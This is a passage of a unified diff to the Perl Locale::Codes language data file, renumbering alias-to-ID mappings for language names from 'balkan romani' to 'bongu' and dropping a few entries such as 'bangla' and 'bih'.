       ],
    q(balkan romani) => [
-      q(5807),
+      q(5806),
       q(0),
       ],
    q(balo) => [
-      q(1411),
+      q(1410),
       q(0),
       ],
    q(baloi) => [
-      q(1230),
+      q(1229),
       q(0),
       ],
    q(balti) => [
-      q(1156),
+      q(1155),
       q(0),
       ],
    q(baltic languages) => [
@@ -26799,11 +26781,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(baltic romani) => [
-      q(5805),
+      q(5804),
       q(0),
       ],
    q(baluan-pam) => [
-      q(1294),
+      q(1293),
       q(0),
       ],
    q(baluchi) => [
@@ -26811,19 +26793,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bamako sign language) => [
-      q(1356),
+      q(1355),
       q(0),
       ],
    q(bamali) => [
-      q(1055),
+      q(1054),
       q(0),
       ],
    q(bambalang) => [
-      q(1317),
+      q(1316),
       q(0),
       ],
    q(bambam) => [
-      q(5629),
+      q(5626),
       q(0),
       ],
    q(bambara) => [
@@ -26831,15 +26813,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bambassi) => [
-      q(4670),
+      q(4669),
       q(0),
       ],
    q(bambili-bambui) => [
-      q(1036),
+      q(1035),
       q(0),
       ],
    q(bamenyam) => [
-      q(1069),
+      q(1068),
       q(0),
       ],
    q(bamileke languages) => [
@@ -26847,47 +26829,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bamu) => [
-      q(1070),
+      q(1069),
       q(0),
       ],
    q(bamukumbit) => [
-      q(1416),
+      q(1415),
       q(0),
       ],
    q(bamun) => [
-      q(1037),
+      q(1036),
       q(0),
       ],
    q(bamunka) => [
-      q(1528),
+      q(1527),
       q(0),
       ],
    q(bamwe) => [
-      q(1309),
+      q(1308),
       q(0),
       ],
    q(ban khor sign language) => [
-      q(1147),
+      q(1146),
       q(0),
       ],
    q(bana) => [
-      q(1087),
+      q(1086),
       q(0),
       ],
    q(banam bay) => [
-      q(7032),
+      q(7031),
       q(1),
       ],
    q(banao itneg) => [
-      q(1252),
+      q(1251),
       q(0),
       ],
    q(banaro) => [
-      q(1611),
+      q(1610),
       q(0),
       ],
    q(banda (indonesia)) => [
-      q(1331),
+      q(1330),
       q(0),
       ],
    q(banda languages) => [
@@ -26895,7 +26877,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(banda malay) => [
-      q(1388),
+      q(1387),
       q(0),
       ],
    q(banda-bambari) => [
@@ -26903,131 +26885,127 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(banda-banda) => [
-      q(1377),
+      q(1376),
       q(0),
       ],
    q(banda-mbres) => [
-      q(1407),
+      q(1406),
       q(0),
       ],
    q(banda-ndele) => [
-      q(1148),
+      q(1147),
       q(0),
       ],
    q(banda-yangere) => [
-      q(7569),
+      q(7566),
       q(0),
       ],
    q(bandi) => [
-      q(1612),
+      q(1611),
       q(0),
       ],
    q(bandial) => [
-      q(1406),
+      q(1405),
       q(0),
       ],
    q(bandjalang) => [
-      q(1114),
+      q(1113),
       q(0),
       ],
    q(bangala) => [
-      q(1572),
+      q(1571),
       q(0),
       ],
    q(bangandu) => [
-      q(1167),
+      q(1166),
       q(0),
       ],
    q(bangba) => [
-      q(1043),
+      q(1042),
       q(0),
       ],
    q(banggai) => [
-      q(1185),
+      q(1184),
       q(0),
       ],
    q(banggarla) => [
-      q(1232),
+      q(1231),
       q(0),
       ],
    q(bangi) => [
-      q(1335),
+      q(1334),
       q(0),
       ],
    q(bangime) => [
-      q(1950),
+      q(1949),
       q(0),
       ],
    q(bangingih sama) => [
-      q(6222),
+      q(6223),
       q(1),
       ],
    q(bangka) => [
-      q(4218),
+      q(4217),
       q(0),
       ],
-   q(bangla) => [
-      q(0050),
-      q(1),
-      ],
    q(bangolan) => [
-      q(1170),
+      q(1169),
       q(0),
       ],
    q(bangubangu) => [
-      q(1349),
+      q(1348),
       q(0),
       ],
    q(bangwinji) => [
-      q(1455),
+      q(1454),
       q(0),
       ],
    q(baniva) => [
-      q(1536),
+      q(1535),
       q(0),
       ],
    q(baniwa) => [
-      q(1549),
+      q(1548),
       q(0),
       ],
    q(banjar) => [
-      q(1243),
+      q(1242),
       q(0),
       ],
    q(bankagooma) => [
-      q(1587),
+      q(1586),
       q(0),
       ],
    q(bankal) => [
-      q(3106),
+      q(3104),
       q(0),
       ],
    q(bankan tey dogon) => [
-      q(1968),
+      q(1967),
       q(0),
       ],
    q(bankon) => [
-      q(0561),
+      q(0560),
       q(0),
       ],
    q(bannoni) => [
-      q(1077),
+      q(1076),
       q(0),
       ],
    q(bantawa) => [
-      q(1032),
+      q(1031),
       q(0),
       ],
    q(bantayanon) => [
-      q(1159),
+      q(1158),
       q(0),
       ],
    q(bantik) => [
-      q(1343),
+      q(1342),
       q(0),
       ],
    q(bantoanon) => [
-      q(1341),
+      q(1340),
       q(0),
       ],
    q(bantu (other)) => [
@@ -27039,27 +27017,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(baoule) => [
-      q(1073),
+      q(1072),
       q(0),
       ],
    q(bara malagasy) => [
-      q(1201),
+      q(1200),
       q(0),
       ],
    q(baraamu) => [
-      q(1425),
+      q(1424),
       q(0),
       ],
    q(barababaraba) => [
-      q(5752),
+      q(5750),
       q(0),
       ],
    q(barai) => [
-      q(1040),
+      q(1039),
       q(0),
       ],
    q(barakai) => [
-      q(1030),
+      q(1029),
       q(0),
       ],
    q(baram kayan) => [
@@ -27067,87 +27045,87 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(barama) => [
-      q(1045),
+      q(1044),
       q(0),
       ],
    q(barambu) => [
-      q(1433),
+      q(1432),
       q(0),
       ],
    q(baramu) => [
-      q(1327),
+      q(1326),
       q(0),
       ],
    q(barapasi) => [
-      q(1436),
+      q(1435),
       q(0),
       ],
    q(baras) => [
-      q(1439),
+      q(1438),
       q(0),
       ],
    q(barasana-eduria) => [
-      q(1459),
+      q(1458),
       q(0),
       ],
    q(barbacoas) => [
-      q(1376),
+      q(1375),
       q(0),
       ],
    q(barbaram) => [
-      q(7004),
+      q(7003),
       q(0),
       ],
    q(barbareno) => [
-      q(1358),
+      q(1357),
       q(0),
       ],
    q(barclayville grebo) => [
-      q(2628),
+      q(2626),
       q(0),
       ],
    q(bardi) => [
-      q(1074),
+      q(1073),
       q(0),
       ],
    q(bare) => [
-      q(1026),
+      q(1025),
       q(0),
       ],
    q(barein) => [
-      q(1516),
+      q(1515),
       q(0),
       ],
    q(bargam) => [
-      q(4374),
+      q(4373),
       q(0),
       ],
    q(bari) => [
-      q(1137),
+      q(1136),
       q(0),
       ],
    q(bariai) => [
-      q(1072),
+      q(1071),
       q(0),
       ],
    q(bariji) => [
-      q(1233),
+      q(1232),
       q(0),
       ],
    q(barikanchi) => [
-      q(1580),
+      q(1579),
       q(0),
       ],
    q(barikewa) => [
-      q(3062),
+      q(3059),
       q(0),
       ],
    q(barok) => [
-      q(1240),
+      q(1239),
       q(0),
       ],
    q(barombi) => [
-      q(1047),
+      q(1046),
       q(0),
       ],
    q(barro negro tunebo) => [
@@ -27155,23 +27133,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(barrow point) => [
-      q(1391),
+      q(1390),
       q(0),
       ],
    q(baruga) => [
-      q(1254),
+      q(1253),
       q(0),
       ],
    q(baruya) => [
-      q(1605),
+      q(1604),
       q(0),
       ],
    q(barwe) => [
-      q(1547),
+      q(1546),
       q(0),
       ],
    q(barzani jewish neo-aramaic) => [
-      q(1235),
+      q(1234),
       q(0),
       ],
    q(basa) => [
@@ -27183,27 +27161,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(basa (nigeria)) => [
-      q(1634),
+      q(1633),
       q(0),
       ],
    q(basa-gumna) => [
-      q(1457),
+      q(1456),
       q(0),
       ],
    q(basa-gurmana) => [
-      q(1501),
+      q(1500),
       q(0),
       ],
    q(basap) => [
-      q(1091),
+      q(1090),
       q(0),
       ],
    q(basay) => [
-      q(1604),
+      q(1603),
       q(0),
       ],
    q(bashkardi) => [
-      q(1452),
+      q(1451),
       q(0),
       ],
    q(bashkir) => [
@@ -27211,7 +27189,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(basketo) => [
-      q(1465),
+      q(1464),
       q(0),
       ],
    q(basque) => [
@@ -27219,51 +27197,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(basque (family)) => [
-      q(0504),
+      q(0503),
       q(0),
       ],
    q(bassa) => [
-      q(1462),
+      q(1461),
       q(0),
       ],
    q(bassa-kontagora) => [
-      q(1463),
+      q(1462),
       q(0),
       ],
    q(bassari) => [
-      q(1449),
+      q(1448),
       q(0),
       ],
    q(bassossi) => [
-      q(1454),
+      q(1453),
       q(0),
       ],
    q(bata) => [
-      q(1471),
+      q(1470),
       q(0),
       ],
    q(batad ifugao) => [
-      q(2910),
+      q(2907),
       q(0),
       ],
    q(batak) => [
-      q(1589),
+      q(1588),
       q(0),
       ],
    q(batak alas-kluet) => [
-      q(1493),
+      q(1492),
       q(0),
       ],
    q(batak angkola) => [
-      q(0723),
+      q(0722),
       q(0),
       ],
    q(batak dairi) => [
-      q(1473),
+      q(1472),
       q(0),
       ],
    q(batak karo) => [
-      q(1491),
+      q(1490),
       q(0),
       ],
    q(batak languages) => [
@@ -27271,63 +27249,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(batak mandailing) => [
-      q(1480),
+      q(1479),
       q(0),
       ],
    q(batak simalungun) => [
-      q(1486),
+      q(1485),
       q(0),
       ],
    q(batak toba) => [
-      q(1041),
+      q(1040),
       q(0),
       ],
    q(batanga) => [
-      q(1339),
+      q(1338),
       q(0),
       ],
    q(batek) => [
-      q(1484),
+      q(1483),
       q(0),
       ],
    q(bateri) => [
-      q(1489),
+      q(1488),
       q(0),
       ],
    q(bathari) => [
-      q(1197),
+      q(1196),
       q(0),
       ],
    q(bati (cameroon)) => [
-      q(1472),
+      q(1471),
       q(0),
       ],
    q(bati (indonesia)) => [
-      q(1534),
+      q(1533),
       q(0),
       ],
    q(bats) => [
-      q(1050),
+      q(1049),
       q(0),
       ],
    q(batu) => [
-      q(1488),
+      q(1487),
       q(0),
       ],
    q(batui) => [
-      q(7816),
+      q(7813),
       q(0),
       ],
    q(batuley) => [
-      q(1038),
+      q(1037),
       q(0),
       ],
    q(batyala) => [
-      q(7293),
+      q(7291),
       q(0),
       ],
    q(bau) => [
-      q(1042),
+      q(1041),
       q(0),
       ],
    q(bau bidayuh) => [
@@ -27335,87 +27313,87 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bauchi) => [
-      q(1451),
+      q(1450),
       q(0),
       ],
    q(baure) => [
-      q(1427),
+      q(1426),
       q(0),
       ],
    q(bauria) => [
-      q(1166),
+      q(1165),
       q(0),
       ],
    q(bauwaki) => [
-      q(1551),
+      q(1550),
       q(0),
       ],
    q(bauzi) => [
-      q(1540),
+      q(1539),
       q(0),
       ],
    q(bavarian) => [
-      q(1033),
+      q(1032),
       q(0),
       ],
    q(bawm chin) => [
-      q(1177),
+      q(1176),
       q(0),
       ],
    q(bay miwok) => [
-      q(4351),
+      q(4350),
       q(0),
       ],
    q(bayali) => [
-      q(1253),
+      q(1252),
       q(0),
       ],
    q(baybayanon) => [
-      q(1539),
+      q(1538),
       q(0),
       ],
    q(baygo) => [
-      q(1595),
+      q(1594),
       q(0),
       ],
    q(bayono) => [
-      q(1600),
+      q(1599),
       q(0),
       ],
    q(bayot) => [
-      q(1090),
+      q(1089),
       q(0),
       ],
    q(bayungu) => [
-      q(1575),
+      q(1574),
       q(0),
       ],
    q(bazigar) => [
-      q(1154),
+      q(1153),
       q(0),
       ],
    q(beami) => [
-      q(1126),
+      q(1125),
       q(0),
       ],
    q(beaver) => [
-      q(1116),
+      q(1115),
       q(0),
       ],
    q(beba) => [
-      q(1152),
+      q(1151),
       q(0),
       ],
    q(bebele) => [
-      q(1117),
+      q(1116),
       q(0),
       ],
    q(bebeli) => [
-      q(1125),
+      q(1124),
       q(0),
       ],
    q(bebil) => [
-      q(1581),
+      q(1580),
       q(0),
       ],
    q(bedawiyet) => [
@@ -27423,35 +27401,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(bedjond) => [
-      q(1250),
+      q(1249),
       q(0),
       ],
    q(bedoanas) => [
-      q(1119),
+      q(1118),
       q(0),
       ],
    q(beeke) => [
-      q(1258),
+      q(1257),
       q(0),
       ],
    q(beele) => [
-      q(1582),
+      q(1581),
       q(0),
       ],
    q(beembe) => [
-      q(1128),
+      q(1127),
       q(0),
       ],
    q(beezen) => [
-      q(1351),
+      q(1350),
       q(0),
       ],
    q(befang) => [
-      q(1063),
+      q(1062),
       q(0),
       ],
    q(begbere-ejar) => [
-      q(1418),
+      q(1417),
       q(1),
       ],
    q(beja) => [
@@ -27459,27 +27437,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bekati') => [
-      q(1124),
+      q(1123),
       q(0),
       ],
    q(bekwarra) => [
-      q(1274),
+      q(1273),
       q(0),
       ],
    q(bekwel) => [
-      q(1275),
+      q(1274),
       q(0),
       ],
    q(belait) => [
-      q(1122),
+      q(1121),
       q(0),
       ],
    q(belanda bor) => [
-      q(1567),
+      q(1566),
       q(0),
       ],
    q(belanda viri) => [
-      q(1524),
+      q(1523),
       q(0),
       ],
    q(belarusian) => [
@@ -27487,27 +27465,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(belhariya) => [
-      q(1609),
+      q(1608),
       q(0),
       ],
    q(beli (papua new guinea)) => [
-      q(1135),
+      q(1134),
       q(0),
       ],
    q(beli (sudan)) => [
-      q(1290),
+      q(1289),
       q(0),
       ],
    q(belize kriol english) => [
-      q(1621),
+      q(1620),
       q(0),
       ],
    q(bella coola) => [
-      q(1280),
+      q(1279),
       q(0),
       ],
    q(bellari) => [
-      q(1443),
+      q(1442),
       q(0),
       ],
    q(bemba) => [
@@ -27519,47 +27497,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(bembe) => [
-      q(1304),
+      q(1303),
       q(0),
       ],
    q(ben tey dogon) => [
-      q(1965),
+      q(1964),
       q(0),
       ],
    q(bena (nigeria)) => [
-      q(7759),
+      q(7756),
       q(0),
       ],
    q(bena (tanzania)) => [
-      q(1136),
+      q(1135),
       q(0),
       ],
    q(benabena) => [
-      q(1121),
+      q(1120),
       q(0),
       ],
    q(bench) => [
-      q(1081),
+      q(1080),
       q(0),
       ],
    q(bende) => [
-      q(1105),
+      q(1104),
       q(0),
       ],
    q(bendi) => [
-      q(1084),
+      q(1083),
       q(0),
       ],
    q(beneraf) => [
-      q(1347),
+      q(1346),
       q(1),
       ],
    q(beng) => [
-      q(4854),
+      q(4852),
       q(0),
       ],
    q(benga) => [
-      q(1334),
+      q(1333),
       q(0),
       ],
    q(bengali) => [
@@ -27567,39 +27545,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(benggoi) => [
-      q(1184),
+      q(1183),
       q(0),
       ],
    q(bengkala sign language) => [
-      q(1421),
+      q(1420),
       q(0),
       ],
    q(bentong) => [
-      q(1346),
+      q(1345),
       q(0),
       ],
    q(benyadu') => [
-      q(1592),
+      q(1591),
       q(0),
       ],
    q(beothuk) => [
-      q(1497),
+      q(1496),
       q(0),
       ],
    q(bepour) => [
-      q(1214),
+      q(1213),
       q(0),
       ],
    q(bera) => [
-      q(1426),
+      q(1425),
       q(0),
       ],
    q(berakou) => [
-      q(1586),
+      q(1585),
       q(0),
       ],
    q(berau malay) => [
-      q(1520),
+      q(1519),
       q(0),
       ],
    q(berber languages) => [
@@ -27607,103 +27585,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(berbice creole dutch) => [
-      q(1424),
+      q(1423),
       q(0),
       ],
    q(berik) => [
-      q(1264),
+      q(1263),
       q(0),
       ],
    q(berinomo) => [
-      q(1224),
+      q(1223),
       q(0),
       ],
    q(berom) => [
-      q(1362),
+      q(1361),
       q(0),
       ],
    q(berta) => [
-      q(7229),
+      q(7227),
       q(0),
       ],
    q(berti) => [
-      q(1607),
+      q(1606),
       q(0),
       ],
    q(besisi) => [
-      q(4271),
+      q(4270),
       q(0),
       ],
    q(besme) => [
-      q(1129),
+      q(1128),
       q(0),
       ],
    q(besoa) => [
-      q(1127),
+      q(1126),
       q(0),
       ],
    q(betaf) => [
-      q(1141),
+      q(1140),
       q(0),
       ],
    q(betawi) => [
-      q(1133),
+      q(1132),
       q(0),
       ],
    q(bete) => [
-      q(1594),
+      q(1593),
       q(0),
       ],
    q(bete-bendi) => [
-      q(1487),
+      q(1486),
       q(0),
       ],
    q(beti (cote d'ivoire)) => [
-      q(2275),
+      q(2274),
       q(0),
       ],
    q(betta kurumba) => [
-      q(7516),
+      q(7513),
       q(0),
       ],
    q(bezhta) => [
-      q(3179),
+      q(3177),
       q(0),
       ],
    q(bhadrawahi) => [
-      q(1189),
+      q(1188),
       q(0),
       ],
    q(bhalay) => [
-      q(1207),
+      q(1206),
       q(0),
       ],
    q(bharia) => [
-      q(1186),
+      q(1185),
       q(0),
       ],
    q(bhatri) => [
-      q(1182),
+      q(1181),
       q(0),
       ],
    q(bhattiyali) => [
-      q(1203),
+      q(1202),
       q(0),
       ],
    q(bhaya) => [
-      q(1190),
+      q(1189),
       q(0),
       ],
    q(bhele) => [
-      q(1208),
+      q(1207),
       q(0),
       ],
    q(bhilali) => [
-      q(1194),
+      q(1193),
       q(0),
       ],
    q(bhili) => [
-      q(1187),
+      q(1186),
       q(0),
       ],
    q(bhojpuri) => [
@@ -27711,107 +27689,103 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bhoti kinnauri) => [
-      q(4816),
+      q(4814),
       q(0),
       ],
    q(bhujel) => [
-      q(1596),
+      q(1595),
       q(0),
       ],
    q(bhunjia) => [
-      q(1204),
+      q(1203),
       q(0),
       ],
    q(biafada) => [
-      q(1215),
+      q(1214),
       q(0),
       ],
    q(biage) => [
-      q(1095),
+      q(1094),
       q(0),
       ],
    q(biak) => [
-      q(1206),
+      q(1205),
       q(0),
       ],
    q(biali) => [
-      q(1123),
+      q(1122),
       q(0),
       ],
    q(bian marind) => [
-      q(1393),
+      q(1392),
       q(0),
       ],
    q(biangai) => [
-      q(1216),
+      q(1215),
       q(0),
       ],
    q(biao) => [
-      q(1599),
+      q(1598),
       q(0),
       ],
    q(biao mon) => [
-      q(1322),
+      q(1321),
       q(0),
       ],
    q(biao-jiao mien) => [
-      q(1234),
+      q(1233),
       q(0),
       ],
    q(biatah bidayuh) => [
-      q(1477),
+      q(1476),
       q(0),
       ],
    q(bibbulman) => [
-      q(7290),
+      q(7288),
       q(0),
       ],
    q(bidhawal) => [
-      q(2929),
+      q(2926),
       q(0),
       ],
    q(bidiyo) => [
-      q(1213),
+      q(1212),
       q(0),
       ],
    q(bidyara) => [
-      q(1601),
+      q(1600),
       q(0),
       ],
    q(bidyogo) => [
-      q(1236),
+      q(1235),
       q(0),
       ],
    q(biem) => [
-      q(1305),
+      q(1304),
       q(0),
       ],
    q(bierebo) => [
-      q(1337),
+      q(1336),
       q(0),
       ],
    q(bieria) => [
-      q(1430),
+      q(1429),
       q(0),
       ],
    q(biete) => [
-      q(1225),
+      q(1224),
       q(0),
       ],
    q(big nambas) => [
-      q(4956),
+      q(4954),
       q(0),
       ],
    q(biga) => [
-      q(1188),
+      q(1187),
       q(0),
       ],
    q(bigambal) => [
-      q(7283),
-      q(0),
-      ],
-   q(bih) => [
-      q(2888),
+      q(7281),
       q(0),
       ],
    q(bihari languages) => [
@@ -27819,11 +27793,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bijori) => [
-      q(1228),
+      q(1227),
       q(0),
       ],
    q(bikaru) => [
-      q(1212),
+      q(1211),
       q(0),
       ],
    q(bikol) => [
@@ -27831,31 +27805,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bikya) => [
-      q(1590),
+      q(1589),
       q(0),
       ],
    q(bila) => [
-      q(1221),
+      q(1220),
       q(0),
       ],
    q(bilakura) => [
-      q(1408),
+      q(1407),
       q(0),
       ],
    q(bilaspuri) => [
-      q(3300),
+      q(3298),
       q(0),
       ],
    q(bilba) => [
-      q(1397),
+      q(1396),
       q(0),
       ],
    q(bilbil) => [
-      q(1446),
+      q(1445),
       q(0),
       ],
    q(bile) => [
-      q(1218),
+      q(1217),
       q(0),
       ],
    q(bilin) => [
@@ -27863,55 +27837,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(bilma kanuri) => [
-      q(1321),
+      q(1320),
       q(0),
       ],
    q(biloxi) => [
-      q(1289),
+      q(1288),
       q(0),
       ],
    q(bilua) => [
-      q(1279),
+      q(1278),
       q(0),
       ],
    q(bilur) => [
-      q(1571),
+      q(1570),
       q(0),
       ],
    q(bima) => [
-      q(1199),
+      q(1198),
       q(0),
       ],
    q(bimin) => [
-      q(1196),
+      q(1195),
       q(0),
       ],
    q(bimoba) => [
-      q(1219),
+      q(1218),
       q(0),
       ],
    q(bina (nigeria)) => [
-      q(1598),
+      q(1597),
       q(0),
       ],
    q(bina (papua new guinea)) => [
-      q(1316),
+      q(1315),
       q(0),
       ],
    q(binahari) => [
-      q(1588),
+      q(1587),
       q(0),
       ],
    q(binandere) => [
-      q(1192),
+      q(1191),
       q(0),
       ],
    q(bindal) => [
-      q(7282),
+      q(7280),
       q(0),
       ],
    q(bine) => [
-      q(1363),
+      q(1362),
       q(0),
       ],
    q(bini) => [
@@ -27919,91 +27893,91 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(binji) => [
-      q(1381),
+      q(1380),
       q(0),
       ],
    q(binongan itneg) => [
-      q(3008),
+      q(3005),
       q(0),
       ],
    q(bintauna) => [
-      q(1332),
+      q(1331),
       q(0),
       ],
    q(bintulu) => [
-      q(1350),
+      q(1349),
       q(0),
       ],
    q(binukid) => [
-      q(1257),
+      q(1256),
       q(0),
       ],
    q(binumarien) => [
-      q(1246),
+      q(1245),
       q(0),
       ],
    q(bipi) => [
-      q(1222),
+      q(1221),
       q(0),
       ],
    q(birale) => [
-      q(1570),
+      q(1569),
       q(0),
       ],
    q(birao) => [
-      q(1438),
+      q(1437),
       q(0),
       ],
    q(birgit) => [
-      q(1475),
+      q(1474),
       q(0),
       ],
    q(birhor) => [
-      q(1229),
+      q(1228),
       q(0),
       ],
    q(biri) => [
-      q(1629),
+      q(1628),
       q(0),
       ],
    q(biritai) => [
-      q(1413),
+      q(1412),
       q(0),
       ],
    q(birked) => [
-      q(1431),
+      q(1430),
       q(0),
       ],
    q(birri) => [
-      q(1532),
+      q(1531),
       q(0),
       ],
    q(birrpayi) => [
-      q(7286),
+      q(7284),
       q(0),
       ],
    q(birwa) => [
-      q(1432),
+      q(1431),
       q(0),
       ],
    q(bisa) => [
-      q(1211),
+      q(1210),
       q(1),
       ],
    q(biseni) => [
-      q(2932),
+      q(2929),
       q(0),
       ],
    q(bishnupriya) => [
-      q(1396),
+      q(1395),
       q(0),
       ],
    q(bishuo) => [
-      q(1548),
+      q(1547),
       q(0),
       ],
    q(bisis) => [
-      q(1348),
+      q(1347),
       q(0),
       ],
    q(bislama) => [
@@ -28011,55 +27985,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bisorio) => [
-      q(1223),
+      q(1222),
       q(0),
       ],
    q(bissa) => [
-      q(1211),
+      q(1210),
       q(0),
       ],
    q(bisu) => [
-      q(1620),
+      q(1619),
       q(0),
       ],
    q(bit) => [
-      q(1171),
+      q(1170),
       q(0),
       ],
    q(bitare) => [
-      q(1440),
+      q(1439),
       q(0),
       ],
    q(bitur) => [
-      q(4147),
+      q(4146),
       q(0),
       ],
    q(biwat) => [
-      q(1553),
+      q(1552),
       q(0),
       ],
    q(biyo) => [
-      q(1602),
+      q(1601),
       q(0),
       ],
    q(biyom) => [
-      q(1384),
+      q(1383),
       q(0),
       ],
    q(blablanga) => [
-      q(1293),
+      q(1292),
       q(0),
       ],
    q(blafe) => [
-      q(1144),
+      q(1143),
       q(0),
       ],
    q(blagar) => [
-      q(1131),
+      q(1130),
       q(0),
       ],
    q(blang) => [
-      q(1295),
+      q(1294),
       q(0),
       ],
    q(blin) => [
@@ -28067,143 +28041,143 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bliss) => [
-      q(0479),
+      q(0478),
       q(2),
       ],
    q(blissymbolics) => [
-      q(0479),
+      q(0478),
       q(1),
       ],
    q(blissymbols) => [
-      q(0479),
+      q(0478),
       q(0),
       ],
    q(bo (laos)) => [
-      q(1172),
+      q(1171),
       q(0),
       ],
    q(bo (papua new guinea)) => [
-      q(1394),
+      q(1393),
       q(0),
       ],
    q(bo-rukul) => [
-      q(4109),
+      q(4108),
       q(0),
       ],
    q(bo-ung) => [
-      q(4591),
+      q(4590),
       q(0),
       ],
    q(boano (maluku)) => [
-      q(1625),
+      q(1624),
       q(0),
       ],
    q(boano (sulawesi)) => [
-      q(1623),
+      q(1622),
       q(0),
       ],
    q(bobongko) => [
-      q(1163),
+      q(1162),
       q(0),
       ],
    q(bobot) => [
-      q(1492),
+      q(1491),
       q(0),
       ],
    q(bodo (central african republic)) => [
-      q(1373),
+      q(1372),
       q(0),
       ],
    q(bodo (india)) => [
-      q(1444),
+      q(1443),
       q(0),
       ],
    q(bodo gadaba) => [
-      q(2426),
+      q(2425),
       q(0),
       ],
    q(bodo parja) => [
-      q(1111),
+      q(1110),
       q(0),
       ],
    q(bofi) => [
-      q(1142),
+      q(1141),
       q(0),
       ],
    q(boga) => [
-      q(1537),
+      q(1536),
       q(0),
       ],
    q(bogaya) => [
-      q(1366),
+      q(1365),
       q(0),
       ],
    q(boghom) => [
-      q(1513),
+      q(1512),
       q(0),
       ],
    q(boguru) => [
-      q(1417),
+      q(1416),
       q(0),
       ],
    q(bohtan neo-aramaic) => [
-      q(1198),
+      q(1197),
       q(0),
       ],
    q(boikin) => [
-      q(1617),
+      q(1616),
       q(0),
       ],
    q(bokha) => [
-      q(7590),
+      q(7587),
       q(0),
       ],
    q(bokmal, norwegian) => [
-      q(0314),
+      q(0313),
       q(0),
       ],
    q(boko (benin)) => [
-      q(1400),
+      q(1399),
       q(0),
       ],
    q(boko (democratic republic of congo)) => [
-      q(1268),
+      q(1267),
       q(0),
       ],
    q(bokobaru) => [
-      q(1508),
+      q(1507),
       q(0),
       ],
    q(bokoto) => [
-      q(1109),
+      q(1108),
       q(0),
       ],
    q(bokyi) => [
-      q(1277),
+      q(1276),
       q(0),
       ],
    q(bola) => [
-      q(1342),
+      q(1341),
       q(0),
       ],
    q(bolango) => [
-      q(1281),
+      q(1280),
       q(0),
       ],
    q(bole) => [
-      q(1361),
+      q(1360),
       q(0),
       ],
    q(bolgarian) => [
-      q(7289),
+      q(7287),
       q(0),
       ],
    q(bolgo) => [
-      q(1530),
+      q(1529),
       q(0),
       ],
    q(bolia) => [
-      q(1286),
+      q(1285),
       q(0),
       ],
    q(bolinao) => [
@@ -28211,75 +28185,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bolivian sign language) => [
-      q(1527),
+      q(1526),
       q(0),
       ],
    q(bolo) => [
-      q(1298),
-      q(1),
+      q(1297),
+      q(0),
       ],
    q(boloki) => [
-      q(1272),
+      q(1271),
       q(0),
       ],
    q(bolon) => [
-      q(1355),
+      q(1354),
       q(0),
       ],
    q(bolondo) => [
-      q(1624),
+      q(1623),
       q(0),
       ],
    q(bolongan) => [
-      q(1287),
+      q(1286),
       q(0),
       ],
    q(bolyu) => [
-      q(5503),
+      q(5499),
       q(0),
       ],
-   q(bom-kim) => [
-      q(1308),
+   q(bom) => [
+      q(1307),
       q(0),
       ],
    q(boma) => [
-      q(1357),
+      q(1356),
       q(0),
       ],
    q(bomboli) => [
-      q(1314),
+      q(1313),
       q(0),
       ],
    q(bomboma) => [
-      q(1559),
+      q(1558),
       q(0),
       ],
    q(bomitaba) => [
-      q(7884),
+      q(7881),
       q(0),
       ],
    q(bomu) => [
-      q(1319),
+      q(1318),
       q(0),
       ],
    q(bomwali) => [
-      q(1325),
+      q(1324),
       q(0),
       ],
    q(bon gula) => [
-      q(2541),
+      q(2539),
       q(0),
       ],
    q(bonan) => [
-      q(5406),
+      q(5402),
       q(0),
       ],
    q(bondei) => [
-      q(1369),
+      q(1368),
       q(0),
       ],
    q(bondo) => [
-      q(1158),
+      q(1157),
       q(0),
       ],
    q(bondoukou kulango) => [
@@ -28287,75 +28261,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bondum dom dogon) => [
-      q(1966),
+      q(1965),
       q(0),
       ],
    q(bonerate) => [
-      q(1328),
+      q(1327),
       q(0),
       ],
    q(bonerif) => [
-      q(1347),
+      q(1346),
       q(0),
       ],
    q(bonggi) => [
-      q(1096),
+      q(1095),
       q(0),
       ],
    q(bonggo) => [
-      q(1378),
+      q(1377),
       q(0),
       ],
    q(bongili) => [
-      q(1500),
+      q(1499),
       q(0),
       ],
    q(bongo) => [
-      q(1368),
+      q(1367),
       q(0),
       ],
    q(bongu) => [
-      q(1392),
